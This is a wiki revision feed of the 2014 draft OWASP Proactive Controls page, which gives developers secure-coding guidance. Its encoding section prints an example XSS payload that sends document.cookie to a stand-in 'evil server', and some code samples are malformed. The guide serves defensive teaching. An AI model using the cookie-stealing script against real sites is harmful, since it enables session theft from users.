 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection TODO JIMBIRD ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought. Logging is not just important in debugging and troubleshooting. Logging also drives&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
Application logging should be always be included for security events. Application logs are invaluable data for:&lt;br /&gt;
&lt;br /&gt;
* Identifying security incidents&lt;br /&gt;
* Monitoring policy violations&lt;br /&gt;
* Establishing baselines&lt;br /&gt;
* Providing information about problems and unusual conditions&lt;br /&gt;
* Contributing additional application-specific data for incident investigation which is lacking in other log sources&lt;br /&gt;
* Helping defend against vulnerability identification and exploitation through attack detection&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect the system from Log Injection, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
For more information on how to properly implement logging in an application, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases which include input, behavior and output, and can be tested for functional correctness by Q/A staff.  Functional requirements like re-authentication during change password or a forgot password feature can be reviewed and tested by Q/A staff. &lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. The stories or use cases for these requirements should include failure scenarios (what happens if a step fails or times out or if someone accidentally repeats a step?) and requirements derived from &amp;quot;abuse-cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Thinking about failures and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must be aware of what personal and confidential information needs to be protected and tracked. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
Security needs to be considered in the architecture and design of the application.&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team needs to understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls should be enforced in the client, the web layer, the business layer, the data layer, and where you need to establish trust between different systems or different parts of the same system. Understand these trust boundaries: what is inside or outside of a trust boundary, what actors or data can be trusted, what should not be? This determines where you need to make decisions about authentication, access control, data validation and encoding, encryption and logging.&lt;br /&gt;
&lt;br /&gt;
3) '''Understand the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (whether you should do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169951</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169951"/>
				<updated>2014-03-11T19:53:29Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection TODO JIMBIRD ==&lt;br /&gt;
&lt;br /&gt;
Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.&lt;br /&gt;
&lt;br /&gt;
Application logging should be always be included for security events. Application logs are invaluable data for:&lt;br /&gt;
